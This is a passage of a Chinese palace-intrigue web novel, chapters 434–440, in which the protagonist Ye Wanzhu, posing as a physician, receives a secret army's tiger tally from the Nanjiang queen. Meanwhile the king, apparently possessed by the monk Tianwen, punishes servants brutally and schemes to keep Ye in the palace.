“王后伤处敏感,御医大人们不便入内观察,这殿中原先用的都是慕家的嬷嬷,早些时候也全都被王上遣走,若不是您二位还没出宫,今天王后的性命恐怕就要交代在宫中了!” 怀风直言不讳,且直指南疆王,一众御医们闻言纷纷看天看地,背手摸鼻,总之很想假装自己并不存在。 “咳咳,”叶晚竹作势轻咳两声,“那个……先进去瞧瞧王后吧。” 三人进到寝殿里,浓郁的药味扑面而来。 王后躺在床上,脸色惨白,呼吸也十分虚弱,奋力地睁开了一双迷蒙的眼睛。 “王上,王上要本宫怎么死?” 她语气嘲讽,却并未朝叶晚竹一行看来,而是直勾勾地盯着床边帷幔之后的某处。 “王后多虑了。” 伴随着这个声音,一个胖乎乎的嬷嬷从帷幔后现了身。 “是您情绪太过激动,一时不察才酿下如此严重的后果,您的伤并不重,可王上却被您惊吓,刚恢复神智又晕了过去。城中如今正乱着,您这么一来,还不知道要耽误多少事呢。” 这位轻言细语,却字字都能透出一股恶意。 王后还没说什么,怀风先三步并作两步冲上去,一把推搡在这胖嬷嬷肩膀上! “吴嬷嬷这话说的就太没道理了吧?王后都伤成这样了,你怎么还在说风凉话?” “我说的是事实而已。” 怀风身材窈窕,那一推没能撼动吴嬷嬷半分,后者一动不动地站在原处,甚至还扬起了一点越发冷酷的笑容。 “王后若是连这一点事实都听不进去,身为一国之后,未免太不称职了。” “你!”怀风气得连连哆嗦。 躺在床上的王后这会儿呼吸也忍不住剧烈了两分,牵动了肋间的伤处,又倒吸一口冷气,豆大的汗珠瞬间就从额头上冒了出来。 斜晲着床上的动静,吴嬷嬷的表情还是没有多少变化。 “王后您就别装了,老奴这双眼什么都看过,想推卸责任,您也得等王上恢复才行。” 王后咬着舌尖强迫自己冷静。 这吴嬷嬷显然是抱着要气死她的打算来的! “怀风。” 眼见怀风小脸通红,一副要冲上去和吴嬷嬷拼个你死我活的架势,叶晚竹上前拍了拍她的肩膀。 刚发现殿中还有人在,吴嬷嬷愣了一下,望着叶晚竹和符绮的眼神透着打量。 叶晚竹的眼风径直从她身上扫过。 “王后伤得这么厉害,寝殿里怎么能放狗进来呢?咬了人岂不是平添麻烦?”她皱着眉头。 狗? 话题变得太快,怀风怔在原地,愣了半天才反应过来叶晚竹说的是什么狗。 “柳大夫您也看见了,”她咬了咬牙,“这条狗,惯会狐假虎威!” 南疆王的后宫可以说是十分热闹,嫔妃一个又一个,这位吴嬷嬷便是赵贵妃身边最得力的下人。 赵贵妃一心想要后位,眼下趁着南疆王昏厥,便迫不及待地出手了。 叶晚竹搭着怀风的肩膀,“那也得把她打出去啊,王后原本只断了肋骨,的确是小伤一件,可被这狗咬了几口,吐血加重了内伤,这可就不妙了。” 听着这话,怀风和吴嬷嬷同时扭头朝王后看去! 王后虽然脸色惨白,可嘴角却是干干净净的! 哪儿来的吐血? “你这下贱的草民,竟然敢胡说八道!”吴嬷嬷转头瞪着叶晚竹,“你谎报王后病情,你,你们是一伙儿的!” 叶晚竹笑笑,上前就攥住了吴嬷嬷的头发,二话不说朝着一旁的桌子猛砸下去! “啊——啊!” 惨叫声传来,叶晚竹手上却丝毫不曾放松,几下过后,吴嬷嬷鼻青脸肿,两颗门牙只剩半颗还挂在牙床上摇摇欲坠。 “你,你……”她哆哆嗦嗦地跌倒在地,惊恐地看着刚刚松手的叶晚竹。 “我什么?” 叶晚竹拍了拍巴掌,逆着光站在吴嬷嬷面前,垂下的眼皮煞是无情。 吴嬷嬷又打了个寒战,忽然就不敢出声了。 这是什么大夫? 这是疯子吧? 王宫里也敢动手? “师姐。” 看吴嬷嬷不说话,叶晚竹这便转向了符绮。 “有劳你跑一趟,把这个嬷嬷送到王上面前去,就说咱们赶到王后宫中时,正好听到她准备借这个机会,动手谋杀王后。” 敢拿南疆王当刀使,无论如何,无论那人现在是不是天问秃驴,他都不可能坐视不理。 符绮应了一声就上前,一把将足有自己两个宽的胖嬷嬷拎起来架在自己背上。 “我,我不是!我没有啊!” 愣了一下才反应过来,吴嬷嬷忍不住地大声分辩,却被符绮制住,拼命挣扎也无果,硬生生地被拖了出去。 房门开了又关,御医们的惊呼被隔绝在外,叶晚竹上前两步,刚要和王后说话,动作忽然一顿—— 第四百三十五章 这是本宫的兵马 王后从床上慢慢地坐了起来! “娘娘您——” 怀风倒吸一口冷气,正要说话,眼珠子忽然一转,猛地抽泣一声,“您怎么了?您别吓唬奴婢啊!” “娘娘本就伤重,方才又被吴嬷嬷攻击,这会儿气血上涌晕过去了!”叶晚竹也跟着加快了语速,“我来给王后行针理气,有劳姑娘去打些热水来!” 二人交换着眼色,怀风又往自己大腿上掐了一把,泪水涟涟地朝着外面跑去。 “各位大人麻烦也帮着想想办法,万一一会儿用上了呢?” 让宫中的小丫鬟去烧水,怀风这便求到了御医大人们的面前。 御医们这会儿一脑门的官司,殿里的柳大夫要给王后行针,他们就更不能进去了! 连王后的情况都没看到,他们该怎么开方? “我等各自将手上有把握的方子和成药都摆出来,以备不时之需好了。” 打头的御医摸着花白的胡子想出了一个办法,闻言,一众御医们也跟着连连点头,又一起在怀风的安排下往偏殿而去。 主殿之中,听着外面的动静消失,叶晚竹这才重新朝着王后看了过去。 王后的脸色这时候还是不好,脑袋上包裹着厚厚的纱布,隐约能看到有血迹渗出。 不过看她坐起身来的动作,倒是的确没有肋骨受伤的迹象。 “装的。” 顺着叶晚竹的目光看下去,王后轻轻一笑,声音压得很低。 “现在的南疆王绝对不再是从前的那个人。”说着话,她的表情又淡下两分。 南麟是个不折不扣的软骨头,优柔寡断又瞻前顾后,别说动手打人,从前就是被朝中大人顶到说不出话,也不过骂几句混账便不再继续了。 “我与王上做了十几年的夫妻,我看得出来,王上已经不在了。” 王后掀起眼皮看着叶晚竹,眼角的光微微颤抖了两下。 “现在在他身体里,代替他行事的人是天问秃驴,对不对?” 自打听到叶晚竹几人对天问大师的这个描述,王后便感到颇为传神。 叶晚竹抿了抿唇,“十之八九。” “我就知道。” 冷笑一声,王后的眼风又朝着殿门的方向扫了扫。 “赵贵妃早就失势了,无缘无故,吴嬷嬷不应该出现在本宫面前,父亲被遣去守城门,他又在宫中对我动手……天问秃驴这是打算除掉我们慕家了。” 方才在御书房里,王后刻意控制着自己的言行,并未有任何激怒南疆王的举动。 可结果却还是显而易见,南疆王也尽力抓住了一个能发作的由头。 他本就想干这件事情罢了。 “父亲和本宫双双被王上厌弃,看在旁人眼里,那便是慕家要衰败的征兆,”王后的语气还是那么轻飘飘的,“或许,有些人的心思也要跟着动了。” 慕家再强,南疆也还是属于南疆王的,肯定会有愿意追随南疆王的脚步,跟着他的变化而变的人。 “王后也不必太过悲观。” 想起御书房中的那些场景,叶晚竹同样压低声音。 “若真是王上厌弃慕家,要对慕家动手,或许跟随他的官员们会多些,可眼下那人是天问秃驴,这就不好说了。” 南疆王办事至少不会这么急功近利,过河拆桥,叶晚竹看御书房中的那些官员们,方才的眼底全是不赞同。 “天问那秃驴的手段下作阴险,非常人所为,若是知道了他的真面目,朝中的大人们会敬而远之的多一些。” 王后闭了闭眼,“那就借姑娘吉言吧。” 顿了顿,她又伸手摸到枕头下,拿出一个荷包递给叶晚竹。 这荷包上绣着精致繁复的花纹,一眼看去便知道是宫中之物,可入手却沉甸甸的,里面的东西显然非同寻常。 “打开吧。”王后又朝着她点了点头。 叶晚竹依言将荷包打开,一块通体漆黑的玉佩滑落在她手心。 那玉佩正面刻着的花纹与荷包截然不同,古朴而沉静,包围在花纹中央的是一个“逸”字。 “本宫的名讳,慕清逸。” 王后的声音似乎能在殿中回荡,“这是本宫手下一支兵马的虎符,拿着这个,你可以随便调动队伍。” “威远王殿下,领兵打仗一事,您应该不陌生吧?” 被王后点破身份,叶晚竹攥着玉佩的手紧了紧,面上却并未露出多少情绪。 “王后手下的人本事不小。”她抬起眼皮。 不仅能组建一支军队,还能在这么短的时间内,连她过去做过的事情都查得一清二楚。 她在西北领军的那些往事,亲历者和知情人大半都殒命在京城的那一场浩劫之中了,王后的人竟然能查到。 定定地注视着叶晚竹,王后的表情忽然有些阴沉。 “是天问。” 下一刻,两人几乎是异口同声地道! 肯定是这个秃驴故意将消息送到王后面前的! “他想干什么?” 忍不住重重地攥着被子,王后的呼吸也跟着变得急促。 叶晚竹上前按住她肩头,手上的力道微微加重几分,语气也跟着变得严肃。 “娘娘,您手里的这支队伍可有其他人知道?” 王后的动作停滞了片刻,缓缓摇头。 “没有,”她语气笃定,“这是我背着父亲母亲组建的队伍,别说慕家的人不知道,就连这些队伍里的人,也不知道他们的主子是我。” 既然如此,那天问秃驴的所作所为,就不是要逼出这支队伍了。 想到这儿,叶晚竹倒是放松了几分。 “不管这秃驴要干什么,我们不接招,看他能有多急。” 短暂的紧张过后,王后也回过神来,脸色不算好,冷笑一声,“说不定又是什么挑拨离间的阴谋,殿下放心,本宫会小心的。” “这支队伍便交由殿下了,”她又专注地朝着叶晚竹望来,“我们南疆的江山,可以由自己打理,也可以臣服在真正的强者之下,却唯独不能让一副恶臭的皮囊鸠占鹊巢!” “我明白了,”叶晚竹点点头,“请王后放心,我等自当尽力。” 从王后寝殿出来,叶晚竹还没关好殿门,便听见一道尖细的声音在院中响起。 第四百三十六章 王上要见您 “柳大夫,王后娘娘的情况如何了?” 院中这会儿空荡荡的,御医们不知道都去了什么地方,只有一个小太监正站在中间,看见叶晚竹出现,朝着她露出一个谄媚的笑容。 叶晚竹顿时定住了脚步。 “王后摔断了肋骨,后脑的伤口也不小,需要静养一段时日。”她不动声色地道。 “辛苦柳大夫跑这么一趟了。”小太监的笑容还是阳光灿烂的。 叶晚竹被这小太监的笑容慑得浑身寒毛直竖,忍不住抽动了两下嘴角,“不敢,为娘娘分忧罢了,不知公公这是……” “小人三喜,是德水公公他老人家的徒弟!” 三喜公公依旧笑得谄媚,仿佛丝毫没有发现叶晚竹的不适,还又往前走了几步。 “德水公公忙着伺候王上,走不开,派小的来请柳大夫过去,给王上瞧瞧呢!” “……王上醒了?” 看着这小太监夸张的表情和语气,叶晚竹仍是十分不适,眉头也微微皱了起来。 “醒了醒了!”三喜人如其名,笑得越发喜庆,“王上听符大夫说了吴嬷嬷的事情震怒,已经将赵贵妃打入冷宫了!” 叶晚竹:…… 所以和这位叫三喜的公公有什么关系? 赵贵妃被打入冷宫,他这么高兴做什么? “柳大夫,您快随小的来吧!”就这么一会儿功夫,三喜便又催促起来。 无法,叶晚竹只好点了点头,又跟着三喜往南疆王的寝宫中去。 这段时间,叶晚竹已经对这个地方十分熟悉了,空气中依旧飘着汤药的苦味,她走进殿中,符绮站在一旁,空地上跪着瑟瑟发抖,依旧鼻青脸肿的吴嬷嬷。 “唔——” 一见到叶晚竹前来,吴嬷嬷的眼底立刻露出了惊恐的神情,身子也不由自主地往后挪动,一副马上就就要逃跑的样子。 “跪好!” 两个太监站在一旁,怒喝的声音一听就是有些功夫,二人更是一左一右地将吴嬷嬷牢牢按在原处,让她不能动弹。 吴嬷嬷哆嗦得更加厉害,叶晚竹又看了两眼,上方的南疆王先出声了。 “柳大夫,吴嬷嬷面上的伤是你做的?” 叶晚竹的心不由得提起两分,飞快地朝着上方睨了一眼。 知道这位十有八九就是天问那秃驴,叶晚竹再看向南疆王的时候,只觉他身上处处都是破绽。 此时的南疆王正一脸威严地坐在桌边,却显得有些过分板正。 他垂下眼皮,一瞬不眨地望着叶晚竹,似乎是在等待她的回答。 殿中一片安静,叶晚竹思忖片刻,大步流星地走到了吴嬷嬷身边。 “回王上的话,正是民女所为,”她朗声道,“这嬷嬷偷偷潜入王后的寝殿,欲对王后不利,还出言不逊,民女看不惯便出手了。” 顿了顿,仿佛刚想起来这是什么地方似的,叶晚竹又加上一句,“此事是民女冲动,请王上莫怪。” 就算天问那秃驴也已经识破了她的身份,那又如何? 他什么都不能说。 另一边,南疆王似乎没有听到叶晚竹的后一句话,眼神依旧朝她望来,又若有所思地挑了挑眉。 “哦?柳大夫不仅医术精湛,还会武艺?朕当真是没有看出来啊。” 这话听着就更怪了。 叶晚竹定了定神,面上依旧云淡风轻,“民女与师兄日常行走江湖,什么人都能遇到,为保安全,都学了些功夫傍身。” “好!好啊!” 南疆王砰地拍了一下桌子,又哈哈大笑起来。 “快意恩仇!说起来,朕也想过一过这样的日子呢!” 他眉眼舒展,仿佛真的是想到了什么非常高兴的事情。 叶晚竹这会儿都快要控制不住自己不要皱眉了,看向南疆王的眼神满是打量。 这个秃驴,到底要干什么? 东拉西扯的,好像要跟她套近乎? 他又有什么打算? “王上。” 清了清嗓子,叶晚竹拱手道,“不知王上唤民女前来,所为何事?” 闻言,南疆王终于不笑了,敛起表情,目光又一次落在吴嬷嬷的身上。 吴嬷嬷这会儿依旧被那两个太监按着趴在地上,似乎是感受到了王上冷冰冰的注视,她又开始哆嗦起来。 “王,王上……奴婢说的都是真的!贵妃娘娘让老奴用言语激怒王后,想让她再不痛快些,奴婢和贵妃娘娘都没那个胆子,敢对王后下杀手啊!” 这话她刚才就说过了,只是南疆王没理会。 不过这一回,她话音刚落,南疆王便重重地冷哼了一声。、 “照你这番话说,那就是柳大夫要故意诬陷于你?这是为何?” 这是为何? 吴嬷嬷的脸贴在冰冷的地板上,这会儿也很想问上一问! 这个从宫外而来的泥腿子,到底是犯了什么病,要这么对待她? “民女说的只是亲眼看到的东西。” 叶晚竹这会儿也低下了脑袋,语气十分平静。 “方才符师姐也在,还有王后宫中的侍女,都可以作证。” “正是!”她话音刚落,符绮便连忙点了点头。 吴嬷嬷这下就更是气得想吐血了! “你们,你们都是一伙儿的!”她恨恨地咬牙切齿。 “放肆!” 南疆王一声怒吼,又一把镇纸从桌上掉了下来! 这回镇纸擦着吴嬷嬷的额头而过,留下了一条不大不小的伤疤,血珠顿时冒了出来。 吴嬷嬷还想说的话这便全都哽在了喉咙口。 “吴嬷嬷,污蔑的话张口就来,在朕的面前,你也敢这样放肆?” 南疆王再开口的时候,声音显得阴恻恻的。 “看来,这样的事情你是干的太多了,多到不需要思考就能撒谎,是不是?” 吴嬷嬷面色青白,好像个活死人似的。 “柳大夫是朕的贵客,刚刚才将朕身上的蛊毒除尽,她怎么会和王后是一伙儿?” “朕看你是死到临头,还要胡乱攀咬,真是可恶至极!” “拖出去,剁成肉泥!” 听着南疆王的话,两个太监立刻拖起吴嬷嬷往外走。 吴嬷嬷打了个哆嗦,背上又冒出了冷汗,“不要啊王上——” 第四百三十七章 秃驴的心,难猜 是她想错了! 明眼人现在都看得出来,南疆王对慕家有多排斥,她却把柳大夫这个王上的救命恩人和王后扯到一起! 这真是找死啊! “王上!王上!奴婢错了!” 吴嬷嬷哭得撕心裂肺,鼻涕眼泪齐齐落下,凄厉的喊声不住地在空中回响。 “奴婢撒谎了!都是,都是赵贵妃娘娘让奴婢做的!奴婢也是被逼无奈……” 随着小太监将她拖出院外,吴嬷嬷的声音渐渐消失了下去。 叶晚竹回身望着吴嬷嬷离开的地方,神情晦暗不明。 这秃驴的葫芦里,这回卖的是什么药,她也有些看不清了。 “让柳大夫受惊了,都是下人无状。” 上座的南疆王这时候又开了口,方才对着吴嬷嬷的冷酷顿时全消失了,又成了笑呵呵的模样。 “还请柳大夫千万不要往心里去。” 回过神来,叶晚竹也仍是恭恭敬敬行礼,“民女不敢。” “那就好,那就好啊!” 长叹一声,南疆王又一挥手,“好了,既然没什么事,柳大夫便回去休息吧,莫要再被这等莫名其妙的事情扰了心情!” “三喜!你送柳大夫回去,还有符大夫!” 闻言,那个叫三喜的小太监连忙又笑嘻嘻地走到叶晚竹身边,“您请吧?” 这场景着实诡异,又或者说,从叶晚竹踏入南疆王寝殿的第一刻起,这里便处处透着诡异。 叶晚竹没再多言,敛下思绪转身离开,符绮也跟了上去。 离开寝殿后,叶晚竹有心将三喜支走,可这位却一定要把两人送回那间小院才行。 “柳大夫,您就别难为奴才了!” 就算是这么说着话,三喜的表情看上去依旧十分快活。 “万一您再遇到什么突发状况,又不知道被什么不三不四的人缠上,王上知道了,恐怕要扒了奴才的皮!” 一边说,三喜一边夸张地哆嗦了两下身子,又求饶似的望着叶晚竹,“您大人有大量,就行行好吧!” 看着他这幅模样,叶晚竹眼角狂跳,一旁的符绮也露出一脸的不适。 这小太监看上去怎么像得了失心疯似的? 一阵一阵的! “你干什么呢?” 三人已经靠近了小院边缘,岑灵川正在外面不知道做什么,听见这边的动静,眉头一皱快步走上前来。 三喜刚才那番姿态全然被岑灵川看在眼中,他挡在叶晚竹和符绮面前,一脸的嫌恶丝毫不加以掩饰。 “我看德水公公挺正常的,怎么眼神其实不太好?竟然挑了你这么个徒弟,”他上下打量着三喜,压低了语气,却越发显得嫌弃,“一看就不正常。” “林大夫。” 看见岑灵川,三喜愣了一下,随即将面上的表情全都收了起来,无比正经地喊着他的化名。 “林大夫怎么在外面?” 岑灵川被他这突然的变脸气笑了,“怎么着?看见我你就能立刻变正常?进宫当太监以前,你小子是不是在街上专职当流氓的?” 他怀疑地打量着三喜,又眯起双眼,“王上真能放心地让你呆在宫中?” “……林大夫慎言!你怎可如此辱没小人的名声?” 三喜气得呼吸顿时急促了几分,“小人只是在护送王上的贵客,还请林大夫莫要造谣生事!” “哦,我造谣生事,”岑灵川懒洋洋地拖长了调子,“那行啊,你现在就让人把我抓起来,咱们到王上面前去说话。” 好让他把三喜刚才那副模样完整地还原一下。 他挑着眉头,好整以暇地望着三喜。 三喜眉头紧皱,表情已经难看到了极点。 “柳大夫,符大夫,奴才这就先告退了,您二位好好休息。” 丢下一脸戏谑的岑灵川,三喜朝着叶晚竹二人客气了几句,便毫不犹豫地转身大步离开。 “不知道的还以为这才是主子。” 望着三喜的背影,岑灵川果断抬高了声音,眼见他离去的背影趔趄了一下,方才心满意足地收回了目光。 “走,进去说话。” 再看向叶晚竹和符绮的时候,他的神情又变得正经了起来。 三人进到屋中,刚关上房门,岑灵川正要张口,却被符绮抢了先。 “那秃驴刚才一直在追问和你有关的事情。” 符绮定定地看着叶晚竹。 她押着吴嬷嬷来到南疆王的寝殿,吴嬷嬷拼命挣扎,一路上费了不少力气,终于抵达的时候,南疆王已经清醒了过来。 他将二人召进殿中了解情况,刚听到叶晚竹被王后叫去,便立刻变了脸色。 符绮看得清楚,那不快就是因为她们去替王后看伤的。 可等吴嬷嬷也说完话,南疆王忽然又勃然大怒,二话不说便下旨将赵贵妃打入了冷宫,快得让符绮半点都没反应过来。 紧跟着,他一面让三喜去找叶晚竹,一面把哭哭啼啼的吴嬷嬷晾在一旁,一句接一句地向符绮打听起了叶晚竹—— “说是问你,好像也不太对。” 话说到这儿,符绮皱着眉头,努力地搜寻着合适的描述。 “他是,他好像是在打听柳大夫……” 叶晚竹的生平,天问那秃驴大概已经了解得不能再详细,可方才在寝殿里,南疆王问的那些问题,却都是围绕着那个并不存在的柳大夫。 “这秃驴想干什么?揭穿我们的身份?”岑灵川听着也皱起了眉。 符绮犹豫着,却摇了摇头。 “我感觉又不太像。” 除了问话,还有刚才三喜那奇怪的表现,怎么看,都不像是准备跟他们撕破脸皮的样子。 “天问秃驴沉寂了这么长的时间,无人打扰,看来是又想出了什么招数。” 叶晚竹思考着符绮的话,又一一记下,“这段时间,咱们还是以静制动,看他到底想做什么。” 这是南疆王醒来之后,一行人商讨下的共识。 岑灵川和符绮都点了点头。 “师兄,你刚才想说什么?” 将三喜和南疆王的态度放下,叶晚竹又想起一件事。 岑灵川一拍脑门,又要开口,又被院中的脚步声打断。 “圣旨到!” 第四百三十八章 柳大夫请留下 屋中的几人又一次收了声。 圣旨又到了? 叶晚竹和符绮更是面面相觑。 她们这才刚离开南疆王的寝宫,圣旨怎么就追过来了? 片刻后,三人打开房门,对上的是一个陌生的小太监。 从安排叶晚竹和岑灵川留在王宫中开始,大概是为了展现对他们的重视,南疆王派来传递消息的大部分都是德水,要么就是自己身边的一些近侍。 这还是他头一次用上这么一个一看就经验不足的小太监。 三人又对了对目光,这才佯装若无其事。 “圣上有什么旨意要告知我等?” 那前来传旨的小太监显然也没什么经验,一应流程走得磕磕绊绊,等他宣读起圣旨中的内容,三人更是表情古怪。 南疆王洋洋洒洒地准备了一堆礼物,道是为了感谢叶晚竹三人替他解毒,而后便话锋一转,“请”他们离开王宫。 这样的旨意倒是不突兀,随着南疆王的清醒,王宫里的一切也要逐渐恢复正常,在这样的情况下,不属于王宫的人都在收拾东西。 半个时辰前,先前因为南疆王中毒,而被暂时扣留在王宫中的,大理寺事件的经历者们便已经先后离开了。 南疆王的旨意下达得不算突兀,可这圣旨中的内容,就有些让人浮想联翩了。 “林大夫劳苦功高,符大夫药到病除,特赐府邸两座,即刻搬迁。” 听着这话,岑灵川和符绮在下面也交换起了眼色。 这圣旨里,除了赏赐的部分,便再没有任何一处提起过叶晚竹的名字。 把他们遣出王宫,独独留下叶晚竹? 虽然不知道天问秃驴这是想做什么,但显然,准没好事! 圣旨念到末尾,小太监拖长了音调,“二位,请接旨吧?” 岑灵川勾起嘴唇,一个冷笑已经呼之欲出。 这种一看就知道不对劲的旨意,天问那秃驴也真好意思下达! 叶晚竹却在这时候转头看了过来,又朝着他摇了摇头。 对上叶晚竹的目光,岑灵川咬了咬牙,再抬起头来的时候,便露出了一个无比灿烂的笑容,“多谢王上赏赐!草民真是,感激不尽!” 小太监似乎是被他的笑容吓了一跳,嘴角也跟着抽了抽,望着岑灵川的表情有些复杂。 这二位恐怕还不知道,王上给他们准备的宅院,一座在王都最西边是,一座在最东边,从王宫一来一去,足足能走大半天! 想到王上的选址,再看看屋中这三位,小太监也不由得一头雾水。 王上这到底是在给赏赐,还是惩罚? 君王之心,果然难测啊! “这位公公。” 思绪被打断,小太监回过神来,便对上了叶晚竹含笑的目光。 “有劳公公稍等,让我等收拾一下便出发。” 见是叶晚竹发话,那小太监先是顿了一下,随后面上浮起了有些为难的表情。 “柳大夫……您不必离开。” 这话说出口,小太监自己都带上了几分心虚。 “这是为何?” 假装一无所知,岑灵川高高地挑起了一条眉毛。 “可是师妹做错了什么事,让王上不快了?我这就去找王上请罪!” 他一边说着,一边站起身来,那小太监见状更急了,三步并做两步上前,将岑灵川拦住。 “没,没有的事!” 岑灵川也没打算真走,就势停住脚步,面上仍是不解,“那是为何?王上已经解毒,一应人员也都离开得差不多了,为何要单单留下师妹?” 小太监更是哑口无言。 为何? 他也不知道啊! “不行,我还得去问王上!”见状,岑灵川又作势要出门。 小太监只能继续阻拦,急得额头上的冷汗全都冒出来了,却还是说不出什么合理的解释。 说实话,他也奇怪着呢! 自己只是御膳房的小太监,平日里只负责将王上要用的三餐和点心送到德水公公手中,再由他查验无误后方才能继续转交给王上,自己可是连王上所在的宫殿都进不去的。 谁知道今天是怎么回事,王上竟然会让他来传旨! 还是这种奇怪的旨意! 柳大夫师兄妹一共三人,好端端的非要留下一个,还什么都不说,小太监这会儿扪心自问,要是他,他也着急! 可话又说回来,他只是个小太监,他什么都做不了啊! 给人当奴才,真难! “算了师兄!” 眼见两人你进我退,在门口纠缠不休,直到这小太监涨红了脸,看上去随时都有可能哭出来,叶晚竹方才出声。 “既然王上的旨意如此,咱们一届草民,照办便是了。” 她看了半天,这小太监的表现和德水还有三喜都不一样,应该是真的什么都不知道。 触到她的眼神,岑灵川这才假装不情不愿地松了手。 打发走这小太监,叶晚竹关上房门,岑灵川阴阳怪气的声音便响起,“这秃驴,还真拿自己当皇上了!” 让他们即刻搬迁,好大的口气! “说不定他心里还觉得委屈呢。” 叶晚竹的语气也是冷冷的。 她可没有忘记,天问秃驴最初是打算让孟希越在大梁登基,自己在幕后操纵他的。 眼下,不过是区区一个南疆王的身份,怎么能让这秃驴满意? 岑灵川闻言啧啧有声,又皱起眉头,“他要把你留在宫中,肯定是不怀好意。” “这个自然。” 叶晚竹点点头,却并未多说,而是道,“师兄,你刚才还没告诉我,之前想说什么呢。” 又被打断了一回,岑灵川撇了撇嘴,这才终于把消息说出了口。 “谢无咎方才已经随着目击者们出宫了,他要去找慕丞相,让咱们见机行事。” 叶晚竹闻言也不意外。 南疆王被天问秃驴所控,要铲除慕家的心思已经丝毫不加掩饰。 天问秃驴没有什么廉耻之心,随时都有可能动手,他们和慕相之前做出的打算也要提前了。 而且,她手中还多了一样东西…… 摸了摸袖中的玉佩,叶晚竹站起身来,“走吧,我去帮你们收拾行李。” 符绮顿了顿,眼神犹豫,“师妹,我们真的就这么离开?那你怎么办?” 第四百三十九章 朕觉得柳大夫不错 “王上,小顺子方才过来回话,说已经把旨意传到了。” 王宫的一间偏殿之中,德水绕过正在翩翩起舞的舞姬和乐师们,小心翼翼地走到南疆王身边,压低了声音附在他耳边说话。 南疆王正半敞着衣襟,舒舒服服地靠在软塌上,一手端着酒杯,眼神不住地在下方的舞姬身上流连着。 听到德水的话,他顿了一瞬。 “那边什么反应?” 德水连忙一五一十地把岑灵川的话复述了一遍,又道,“柳大夫劝住了林大夫,这个时候,他们应该已经收拾好行李离开了。” “这还差不多。” 闻言,南疆王的面上这才浮起了满意的微笑。 他又浅抿了一口杯中的酒水,眯着眼睛看向下方。 今日舞姬们跳的是一曲南疆的传统民歌,背景大约是一对年轻男女一见钟情,而后私定终身的故事。 为了配合故事中的少女形象,舞姬的装扮和动作都十分活泼,脸上也洋溢着笑容。 可被南疆王的目光这么扫过来的时候,舞姬们却都忍不住感到后背有些发冷,排练过千百遍的动作也好像提不起力气做了似的。 就连坐得远一些的乐师们,这会儿也感到有些力不从心,战战兢兢。 原本欢快热闹的求爱场景顿时多出了几分压抑和小心,一下子就显得不伦不类的。 “铮”地一声,一位乐师实在受不了这样的氛围,一不小心弹错了音! 配合默契的乐师们忽然乱了套,正在起舞的舞姬们便也跟着停了下来。 “小人,小人该死!” 那个出错的乐师猛地打了个激灵,连滚带爬地出列,跪在地上不住地磕起头来。 上座的南疆王语气不悦,笑容也全都消失了。 “朕的兴致全都被你搅了。” 他这话一出,乐师无疑哆嗦得更加厉害,连话都说不出来了。 “来人!”南疆王看向外面,“把他给朕拖出去,杖毙!” “王,王上——” 乐师瞬间瘫软在地,还来不及说什么,就被两个大内侍卫架起来拖走了。 他连连求饶,南疆王听得越发不快。 “把他的嘴给朕缝上!朕不想再听到他的任何声音!” “唔唔唔!” 乐师没能再说出什么话来,很快整个人都消失不见了。 大殿上落针可闻,安静得几乎连一点儿声音都没有。 众人全都战战兢兢地垂着脑袋,却又听到南疆王阴沉的声音响起。 “还愣着做什么?继续啊,少了个人,你们就不会跳,不会奏乐了吗?” 他话音落下,众人齐齐打了个哆嗦,下一刻,乐声和舞姿便齐齐重返。 只是那本该欢快的气氛变得越发僵硬,舞姬们脸上的笑容灿烂得有些不真实起来。 德水低下头,小心翼翼地斜晲着南疆王。 南疆王这会儿已经重新靠回了软垫上去,还又端起了酒杯,微微晃动着杯子里剩余的酒液,仿佛心满意足了。 可德水知道,南疆王少时胸无大略,早就没有争抢王位的胜算,心思一直都在歌舞乐曲这等技艺之上。 就算是他真做了南疆王,也没有放弃这个爱好,多年下来也算小有所成。 宫中的这支乐舞师就是南疆王一手栽培起来的,水平很高,像现在这样的表演已经是大失水准了。 而王上听到这种表演,也绝对不会露出满意的神情。 德水不由得一阵恍惚,想起了那个晚上,王后找到他说的话。 “你以为你效忠的还是真正的王上吗?你以为,现在坐在王位上的那个人,他真的会在意南疆要如何吗?” 德水看着眼前的南疆王低垂着的眼皮,身子忍不住颤了颤。 “德水。” 几乎是同一时间,南疆王抬起头,准确地找到了他的双眼。、 “王上您吩咐。”德水的脑子还一片混乱着,身体却先一步做出了反应。 好在南疆王似乎并未留意到他那点微弱的不对劲。 “你带着人去玉兰殿,里里外外地仔细打扫,不许有任何疏漏,再看着添些拿得出手的宝贝。” 刚调整好状态的德水公公闻言又愣住了。 玉兰殿是灵美人先前所居的宫殿,灵美人乍一入宫就得盛宠,当时她无论提什么要求,南疆王都会满足,包括新修这么一座宫殿,把后宫里唯一的一片玉兰花树围起来独享。 灵美人失宠之后,玉兰殿也被一并封存,现在南疆王旧地重启,这是要…… 拿捏不住帝王的心思,德水小心翼翼地朝着南疆王又看了过去。 殿中失了滋味的歌舞还在继续,乐声之中,南疆王的声音传来,似乎有些听不真切。 “朕觉得柳大夫不错。” “?” 德水瞪大双眼,差点儿就没维持住自己多年练就的一张波澜不惊的脸皮。 他听见了什么? 王上说谁不错? 柳大夫? “能文能武,落落大方,比宫中这些矫揉造作,心思不纯的女子强。” 南疆王还在说着,语气冷峭,显然是意有所指。 德水努力稳住心神,却又不由得想到了方才被王上一脚踹到廊下,满脸是血的王后。 “奴才明白了,这就去安排。”他垂下脑袋,语气恭敬而温顺。 “嗯,办的漂亮点,都收拾好之后再请柳大夫过去。” 南疆王露出一丝笑容,顿了顿又道,“把王后宫中那座白玉净瓶搬过去放着,王后那边要问,就说是朕的意思。” 那座一人多高的白玉净瓶,是封后仪式上太后赠给王后的礼物。 南疆王这样做,当真是里子面子都不打算给王后留了。 就连当初灵美人入宫,都没有这样的待遇呢! 德水不由得有些好奇,王后究竟是怎么得罪这位了,竟然惹来了这么大的怪怨? 想归想,他还是又恭恭敬敬地应了下来,带了一行人往玉兰殿去。 玉兰殿足足有两个王后宫殿那么大,打扫起来又费时间又费精力,太监宫女们很快就忙活得脚不沾地,什么都顾不上管了。 看准机会,德水不动声色地从这片热火朝天中离开,悄悄地往王后宫中而去。 “王上,他在那里面,足足待了一炷香的时间呢!” 第四百四十章 柳大夫不见啦 南疆王所在的大殿里,舞姬乐师不知道什么时候已经离开,殿中空荡荡的一片,只有三喜跪在他脚边低声说着话。 闻言,南疆王垂下目光,一双眼底满是寒意。 “之后呢?” “之后,之后他就又回到玉兰殿去了!”三喜转了转眼珠子。 “王后宫中有没有什么变化?” 见着三喜这幅模样,南疆王又继续问道。 三喜立刻就想到了德水公公离开后不久,从王后殿中被搬出来的那个巨大的箱子,也是往玉兰殿而去的。 